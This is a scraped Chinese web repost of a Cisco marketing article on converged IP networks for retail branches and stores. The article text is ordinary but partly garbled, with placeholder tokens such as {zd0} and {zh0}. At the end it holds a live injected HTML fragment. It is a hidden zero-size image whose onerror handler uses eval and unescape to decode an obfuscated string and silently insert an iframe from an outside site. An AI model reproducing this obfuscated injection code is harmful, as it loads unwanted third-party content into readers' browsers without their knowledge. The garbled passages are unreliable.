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思科:面向零售银行业的全服务营业网点解决方案- 白金卡- disaffection ...

思科:面向零售银行业的全服务营业网点解决方案 [转贴 2010-02-25 04:38:19] 删除...

思科:面向零售银行业的全服务营业网点解决方案

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作者：王旭文章来源：思科系统中国网络技术有限公司点击数：

面向零售银行业的全服务营业网点解决方案

零售商必须在相对较短的时间里，对他们组织和开展业务的方式进行全面的改革。虽然全球化为零售商开启了一些新的市场，但是也导致了新的竞争。有些零售商采用了一些基于大幅度降价的新型业务模式，从而为零售市场带来了前所未有的激烈竞争。　　零售业内部的整合也加剧了市场的竞争，因为越来越少的——而规模越来越大的——零售商都在不断加大投资力度。在这种市场环境中，零售商需要有效地树立自己的特色。这意味着寻找更多、更好的方法来了解他们现有的和潜在的客户，并与他们进行方便的交流。　　这种变革主要发生在商店本身。为了帮助零售商迎接新的挑战，思科系统公司开发了零售业全服务分支机构解决方案。这个解决方案让零售商可以利用网络技术，提升每个商店的客户亲和度、生产率和安全性。　　零售业全服务分支机构解决方案是思科的思科业务就绪战略的重要组成部分。这种战略是思科根据当前所有企业的需求而提出的一种端到端的网络概念：思科业务就绪战略的特点是，它可以帮助企业优化、发展和保护他们的业务。详情如图1所示： 0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src="http://www.51cfp.net/banknetwork/UploadFiles_4962/200603/20060317155441338.jpg" border="0" onclick="zoom(this)" onload="attachimg(this, 'load')" alt="" /> 增强商店的竞争力　　零售业全服务分支机构解决方案包括一组智能的、面向应用的服务，它们是思科零售解决方案的重要基础。　　思科零售解决方案包括一系列专门为了帮助零售业实现重要的业务目标和{zd0}限度地提高重要资产的使用效率而设计的解决方案。　　提高每个商店的竞争力和盈利能力是零售商的首要任务，也是零售业全服务分支机构的基础之一。在实践中，这意味着零售商必须提升他们的销售业绩和发现新的增收渠道。　　为了进一步提高收入，零售商必须观察顾客在进入商店之后的行为，分析如何有效地影响他们的购物决策，从而提高自己的利润。通过将商店本身转变为提供信息和进行交流的重要手段，零售商可以拓展新的收入渠道。客户服务　　顾客多久光临一次商店，以及他们在商店中购买的商品和花费都是衡量一个商店的业绩的重要指标。为了增加每个顾客的花费和增加回头客，零售商需要不断地改进他们所提供的服务。为了做到这一点，员工必须在每个商店提供{zg}等级的客户服务，而且必须能够信心十足地向潜在客户介绍产品知识。供应链　　无论员工的个人能力有多出色，或者零售商提供的价格多么具有竞争力，如果顾客无法在货架上找到他们所需要的商品，零售商就无法获得更多的收入。因此，针对客户需求加强商品库存管理具有非常重要的意义。成本和生产率　　很多零售企业的利润率很低，这意味着除了出色的客户服务和反应迅速的供应链管理以外，零售商还需要不断设法降低他们的运营成本。有助于增强竞争优势的IT解决方案　　通过有效地使用技术手段，可以解决上面提到的很多业务挑战。尽管单个解决方案或者工具是一个很好的起点，但是却不足以满足零售商的所有需要。但是如果用一个统一、融合、可以为大量支持和通信服务提供实时访问的IP网络来提供和管理它们，它们的功能肯定会强大得多。　　一个融合、实时的基础设施是一系列IT解决方案的基础。这些解决方案可以帮助商店实现上述业务目标。IP网络非常适用于大型企业；它们采用了开放的架构，不依赖于任何一个供应商。它们可以随着企业的业务需求的发展而增长，并且可以非常轻松地支持新的应用和资源。IP网络可以传输语音、视频和数据，因而能取代其他单一用途的网络。例如，店内电视流量、电话通话和仓库数据搜索都可以在同一个网络上传输。　　正确的基础设施可以将多种有助于提升性能的工具和应用的优势带给零售商网络中的每个商店。一个统一的融合网络可以提供客户关系管理（CRM）工具、供应链管理、店内安全、移动解决方案，并能够支持多种移动设备、用于提高存储和配送效率的射频ID工具、IP电话、动态店内显示屏和标志，以及其他功能。零售商{zh0}采用一种可以满足他们目前和未来需求的长期网络解决方案。

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_250_250.html%20width%3D250%20height%3D250%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

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